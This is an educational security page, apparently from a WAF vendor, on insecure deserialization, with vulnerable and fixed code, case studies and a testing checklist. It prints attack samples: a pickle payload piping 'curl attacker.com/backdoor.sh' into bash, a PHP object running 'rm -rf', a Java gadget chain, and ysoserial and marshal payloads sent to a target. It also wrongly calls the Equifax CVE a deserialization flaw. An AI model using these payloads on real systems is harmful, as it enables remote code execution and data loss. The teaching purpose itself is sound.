Insecure Deserialization
CRITICAL SEVERITY REMOTE CODE EXECUTION OWASP TOP 10
Overview
Insecure Deserialization is one of the most dangerous vulnerabilities in modern web applications, often leading to Remote Code Execution (RCE) - meaning attackers can run any code they want on your server.
In One Sentence
Attackers trick your application into unpacking malicious data that executes harmful code when processed.
Simple Explanation
Real-World Analogy
Imagine you're an airline that has a special technology: you can convert passengers into compact luggage for shipping (serialization), then unpack them back into passengers at the destination (deserialization).
Here's the problem: If you don't inspect the luggage before unpacking it, an attacker could smuggle a bomb inside. When you unpack the luggage at the destination, the bomb detonates.
The Technical Explanation
Converting program objects into text/bytes for storage or transmission
Converting that text/bytes back into objects
Attacker modifies the serialized data to create malicious objects that execute code when unpacked
Common Use Cases
Applications frequently need to save complex data structures (objects) to:
- Store in databases
- Send across networks
- Cache in memory
- Save to files
The Vulnerability
The vulnerability occurs when:
- Application deserializes data from untrusted sources (user input, cookies, etc.)
- No validation is performed on the serialized data
- Malicious serialized objects can trigger code execution during deserialization
The Vulnerability
Step-by-Step Attack Scenario
User adds item to cart → Application serializes cart object → Stores in cookie
Normal serialized cart (simplified):
O:4:"Cart":2:{s:5:"items";a:1:{i:0;s:6:"Laptop";}s:5:"total";i:1000;}
This represents: Cart object with 1 item (Laptop) and $1000 total.
Attacker captures their own cookie and sees the serialized format.
They realize: "The application deserializes this cookie on every request!"
Attacker creates a malicious serialized object that, when deserialized, will:
- Execute system commands
- Create backdoor accounts
- Read sensitive files
- Install malware
Malicious serialized payload:
phpO:10:"EvilObject":1:{s:7:"command";s:15:"system('rm -rf')";}
Attacker replaces their legitimate cookie with the malicious one and sends a request.
php// VULNERABLE CODE
$cart = unserialize($_COOKIE['cart']); // DANGER!
textWhen the server deserializes the malicious object:
1. It reconstructs the "EvilObject"
2. The object's constructor or magic methods execute automatically
3. The embedded command runs: system('rm -rf') - deleting files!
Result: Attacker achieves Remote Code Execution (RCE) on the server
Types of Deserialization Attacks
1. Remote Code Execution (RCE)
Executing arbitrary code on the server
pythonimport pickle
user_data = request.cookies.get('session')
session = pickle.loads(base64.b64decode(user_data)) # DANGER!
pythonimport pickle
import os
class MaliciousClass:
def __reduce__(self):
return (os.system, ('curl attacker.com/backdoor.sh | bash',))
payload = pickle.dumps(MaliciousClass())
# Attacker sends this as cookie
textWhen the server deserializes this, it executes the command to download and run a backdoor script.
2. Denial of Service (DoS)
Creating objects that consume excessive resources
java// Create enormous serialized object
byte[] hugeObject = createGiantSerializedArray(1000000000);
// Server runs out of memory trying to deserialize it
3. Authentication Bypass
Manipulating serialized session data to gain unauthorized access
Original Session
python{'user_id': 123, 'is_admin': False}
Attacker Modifies
python{'user_id': 123, 'is_admin': True}
Result
Application deserializes and grants admin access
4. SQL Injection via Deserialization
Embedding SQL commands in serialized objects
java// Attacker crafts object with SQL injection
SerializedUser user = {
username: "admin' OR '1'='1",
// ...
}
// When deserialized and used in query, causes SQLi
Real-World Examples
Case Study 1: Equifax Breach (2017)
Apache Struts2 deserialization vulnerability (CVE-2017-5638)
- 147 million people affected
- Social Security numbers, birth dates, addresses stolen
- $700+ million in costs
- CEO resigned
- Attackers exploited deserialization flaw in file upload feature
- Sent malicious serialized objects in HTTP headers
- Gained remote code execution
- Accessed databases for months undetected
java// Vulnerable Struts2 code (simplified)
Object obj = objectInputStream.readObject(); // Deserialized untrusted data
Case Study 2: Jenkins (CVE-2017-1000353)
Java deserialization in Jenkins automation server
- Remote code execution on Jenkins servers worldwide
- Thousands of servers compromised
- Used for cryptocurrency mining and botnets
- Jenkins CLI deserialized user-supplied data
- Attackers sent malicious serialized Java objects
- Achieved full server control
Case Study 3: Apache Commons Collections
Widely-used Java library vulnerability
- Affected thousands of applications
- Used in numerous real-world breaches
- Created "ysoserial" attack framework
java// Malicious object that runs system command when deserialized
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"calc.exe"}) // Runs calculator (proof of concept)
});
Prevention & Mitigation
1. Avoid Deserializing Untrusted Data (Best Practice)
The Golden Rule
Never deserialize data from untrusted sources
pythonimport pickle
user_session = pickle.loads(request.cookies.get('session'))
pythonimport json
user_session = json.loads(request.cookies.get('session'))
# JSON is data-only, cannot execute code
- JSON - Data-only, no code execution
- YAML (safe_load) - Restricted YAML parsing
- Protocol Buffers - Binary format, type-safe
- MessagePack - Efficient binary JSON
2. Digital Signatures
If you must serialize objects, sign the data to prevent tampering
pythonimport hmac
import hashlib
import json
import base64
SECRET_KEY = 'your-secret-key-here' # Keep this secret!
def serialize_safe(data):
# Serialize data
serialized = json.dumps(data)
# Create signature
signature = hmac.new(
SECRET_KEY.encode(),
serialized.encode(),
hashlib.sha256
).hexdigest()
# Combine data + signature
safe_cookie = base64.b64encode(
f"{serialized}|{signature}".encode()
)
return safe_cookie
def deserialize_safe(safe_cookie):
# Decode
decoded = base64.b64decode(safe_cookie).decode()
serialized, signature = decoded.split('|')
# Verify signature
expected_signature = hmac.new(
SECRET_KEY.encode(),
serialized.encode(),
hashlib.sha256
).hexdigest()
if signature != expected_signature:
raise ValueError("Invalid signature - data was tampered!")
# Safe to deserialize
return json.loads(serialized)
- Attacker can't modify the data without knowing the SECRET_KEY
- Any tampering invalidates the signature
- Server rejects tampered data before deserialization
3. Type Constraints and Validation
Limit what types of objects can be deserialized
java// Create whitelist of allowed classes
public class SafeObjectInputStream extends ObjectInputStream {
private Set<String> allowedClasses = new HashSet<>(Arrays.asList(
"com.yourapp.User",
"com.yourapp.Session",
"java.lang.String"
));
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
if (!allowedClasses.contains(desc.getName())) {
throw new InvalidClassException(
"Unauthorized deserialization attempt",
desc.getName()
);
}
return super.resolveClass(desc);
}
}
// Use the safe version
SafeObjectInputStream in = new SafeObjectInputStream(inputStream);
Object obj = in.readObject(); // Only whitelisted classes allowed
pythonimport jsonpickle
class SafeUnpickler:
ALLOWED_CLASSES = {
'User': User,
'Session': Session
}
def loads(self, data):
obj = jsonpickle.loads(data)
if obj.__class__.__name__ not in self.ALLOWED_CLASSES:
raise ValueError(f"Class {obj.__class__.__name__} not allowed")
return obj
4. Isolate Deserialization
Run deserialization in isolated environments with limited privileges
Sandboxing
java// Run deserialization in restricted security manager
SecurityManager sm = new SecurityManager();
System.setSecurityManager(sm);
// Deserialization now runs with limited permissions
Object obj = inputStream.readObject();
Containers/VMs
- Run deserialization in Docker containers
- Limit container resources and network access
- If compromised, damage is contained
Separate Microservices
- Dedicated service for deserialization
- No access to databases or sensitive systems
- Validates data before passing to main application
5. Monitoring and Logging
pythonimport logging
def deserialize_with_monitoring(data, source):
logger = logging.getLogger('deserialization')
# Log all deserialization attempts
logger.info(f"Deserialization attempt from {source}")
logger.debug(f"Data size: {len(data)} bytes")
try:
# Attempt deserialization with timeout
with timeout(5): # 5-second limit
obj = safe_deserialize(data)
logger.info("Deserialization successful")
return obj
except Exception as e:
# Log and alert on failures
logger.error(f"Deserialization failed: {e}")
send_security_alert(f"Possible deserialization attack from {source}")
raise
- Deserialization failures (potential attack attempts)
- Unusual object types
- Large serialized data (DoS attempts)
- Repeated failures from same source
Detection & Testing
Code Review Red Flags
phpunserialize() // Extremely dangerous with user input
pythonpickle.loads() # Never use with untrusted data
pickle.load()
yaml.load() # Use yaml.safe_load() instead
javaObjectInputStream.readObject() // High risk
XMLDecoder.readObject()
rubyMarshal.load() # Dangerous with user input
YAML.load() # Use YAML.safe_load()
javascriptJSON.parse() // Generally safe, but check for prototype pollution
node-serialize.unserialize() // Dangerous
Where to Check
Session data, user preferences
Custom headers, authentication tokens
POST bodies, request parameters
ViewState (ASP.NET), hidden inputs
Stored serialized objects
RabbitMQ, Kafka messages
Redis, Memcached data
Testing Tools
ysoserial (Java)
bash# Generate malicious Java serialized object
java -jar ysoserial.jar CommonsCollections5 'calc.exe' | base64
# Test on target
curl -X POST http://target.com/api \
-H "Cookie: session=<base64-payload>" \
-v
Marshal Load Attack (Python)
pythonimport marshal
import base64
import types
# Create payload that executes command
code = compile("__import__('os').system('whoami')", "<string>", "exec")
payload = base64.b64encode(marshal.dumps(code))
# Test on target
import requests
requests.post('http://target.com/api',
cookies={'session': payload})
Burp Suite Freddy Extension
- Automatically detects deserialization
- Tests multiple exploit chains
- Supports Java, .NET, Python, Ruby
Secure Implementation Examples
Example 1: Session Management (Python/Flask)
pythonfrom flask import Flask, request, make_response
import pickle
import base64
app = Flask(__name__)
@app.route('/login', methods=['POST'])
def login():
user = authenticate(request.form['username'], request.form['password'])
# DANGEROUS: Serializing and storing in cookie
session_data = pickle.dumps(user)
encoded = base64.b64encode(session_data).decode()
response = make_response("Logged in")
response.set_cookie('session', encoded)
return response
@app.route('/dashboard')
def dashboard():
# DANGEROUS: Deserializing user input
session_cookie = request.cookies.get('session')
user = pickle.loads(base64.b64decode(session_cookie))
return f"Welcome {user.username}"
pythonfrom flask import Flask, request, session
from flask_session import Session
import secrets
app = Flask(__name__)
# Use server-side sessions
app.config['SESSION_TYPE'] = 'filesystem'
app.config['SECRET_KEY'] = secrets.token_hex(32)
Session(app)
@app.route('/login', methods=['POST'])
def login():
user = authenticate(request.form['username'], request.form['password'])
# Store only user ID in signed session cookie
# Flask handles signing/verification automatically
session['user_id'] = user.id
session['is_admin'] = user.is_admin
return "Logged in"
@app.route('/dashboard')
def dashboard():
# Retrieve session data (automatically verified)
user_id = session.get('user_id')
if not user_id:
return "Not logged in", 401
# Fetch user from database
user = User.query.get(user_id)
return f"Welcome {user.username}"
Example 2: API Response Caching (Node.js)
javascriptconst serialize = require('node-serialize');
const redis = require('redis');
const client = redis.createClient();
app.get('/api/user/:id', async (req, res) => {
const cacheKey = `user:${req.params.id}`;
// Check cache
client.get(cacheKey, (err, cached) => {
if (cached) {
// DANGEROUS: Deserializing cached data
const user = serialize.unserialize(cached);
return res.json(user);
}
// Fetch from database
const user = await User.findById(req.params.id);
// DANGEROUS: Serializing objects
client.set(cacheKey, serialize.serialize(user));
res.json(user);
});
});
javascriptconst redis = require('redis');
const client = redis.createClient();
app.get('/api/user/:id', async (req, res) => {
const cacheKey = `user:${req.params.id}`;
// Check cache
const cached = await client.get(cacheKey);
if (cached) {
// SAFE: JSON is data-only
return res.json(JSON.parse(cached));
}
// Fetch from database
const user = await User.findById(req.params.id);
// SAFE: Store as JSON
await client.set(cacheKey, JSON.stringify(user), {
EX: 3600 // 1-hour expiration
});
res.json(user);
});
Example 3: Message Queue Processing (Java)
java// Consumer reads messages from queue
public void onMessage(Message message) {
try {
byte[] body = message.getBody(byte[].class);
// DANGEROUS: Deserializing untrusted data
ByteArrayInputStream bis = new ByteArrayInputStream(body);
ObjectInputStream ois = new ObjectInputStream(bis);
Task task = (Task) ois.readObject(); // DANGER!
processTask(task);
} catch (Exception e) {
e.printStackTrace();
}
}
javaimport com.fasterxml.jackson.databind.ObjectMapper;
public class SecureMessageConsumer {
private final ObjectMapper mapper = new ObjectMapper();
public void onMessage(Message message) {
try {
String body = message.getBody(String.class);
// SAFE: JSON deserialization with type validation
Task task = mapper.readValue(body, Task.class);
// Additional validation
if (!isValidTask(task)) {
throw new SecurityException("Invalid task data");
}
processTask(task);
} catch (Exception e) {
logger.error("Message processing failed", e);
sendToDeadLetterQueue(message);
}
}
private boolean isValidTask(Task task) {
// Validate all fields
if (task.getId() == null || task.getId() <= 0) return false;
if (task.getType() == null || !ALLOWED_TYPES.contains(task.getType()))
return false;
return true;
}
}
Security Checklist
Development
- [ ] Never deserialize data from untrusted sources
- [ ] Use safe formats (JSON, Protocol Buffers) instead of native serialization
- [ ] Implement digital signatures for serialized data
- [ ] Whitelist allowed classes for deserialization
- [ ] Validate all deserialized data before use
- [ ] Avoid pickle, Marshal.load, unserialize() with user input
- [ ] Use safe alternatives (json.loads, yaml.safe_load)
Infrastructure
- [ ] Isolate deserialization in sandboxes or containers
- [ ] Run with minimal privileges
- [ ] Implement timeouts for deserialization operations
- [ ] Monitor deserialization attempts
- [ ] Keep frameworks and libraries updated
- [ ] Configure WAF rules to detect serialization patterns
Testing
- [ ] Identify all deserialization points
- [ ] Test with modified serialized data
- [ ] Use ysoserial for Java applications
- [ ] Test with oversized payloads (DoS)
- [ ] Verify signature validation
- [ ] Check error messages don't leak information
- [ ] Penetration testing with deserialization exploits
Key Takeaways
Primary Defenses
- Never deserialize untrusted data - This is the root cause of all deserialization attacks
- Use safe formats - Prefer JSON, Protocol Buffers over native serialization
- Implement signatures - If you must serialize objects, sign the data cryptographically
- Whitelist classes - Restrict which object types can be deserialized
Critical Points
- Insecure deserialization often leads to complete server compromise
- Many high-profile breaches (Equifax, Jenkins) exploited this vulnerability
- Testing can be complex - use specialized tools like ysoserial
- Error messages can reveal serialization formats to attackers
Best Practices
- Isolate and monitor deserialization operations
- Keep libraries updated (many exploits target outdated versions)
- Use framework-provided session management
- Regular security testing with deserialization tools
- Implement defense in depth with multiple validation layers
References & Resources
Official Documentation
- OWASP Deserialization Cheat Sheet
- CWE-502: Deserialization of Untrusted Data
- OWASP Top 10 - Insecure Deserialization
Testing Tools
- ysoserial - Java Deserialization Exploits
- Freddy - Burp Extension
- GadgetProbe - Python Testing
- marshalsec - Java Unmarshalling
Learning Resources
- PortSwigger Web Security Academy - Deserialization
- HackTricks - Deserialization
- OWASP Testing Guide - Deserialization
Layerd AI Protection
Layerd AI Cloud WAF automatically detects and blocks deserialization attacks:
- Signature validation - Ensures data integrity
- Anomaly detection - ML-powered identification of malicious patterns
- Automatic blocking - Real-time prevention of exploit attempts
- Zero performance impact - Line-rate inspection
Learn more about Layerd AI Protection →
Remember: Insecure deserialization is a critical vulnerability that can lead to complete server takeover. Always use safe serialization formats like JSON, and never trust user-supplied serialized data.
When in doubt, use JSON instead of native serialization!
Last updated: November 2025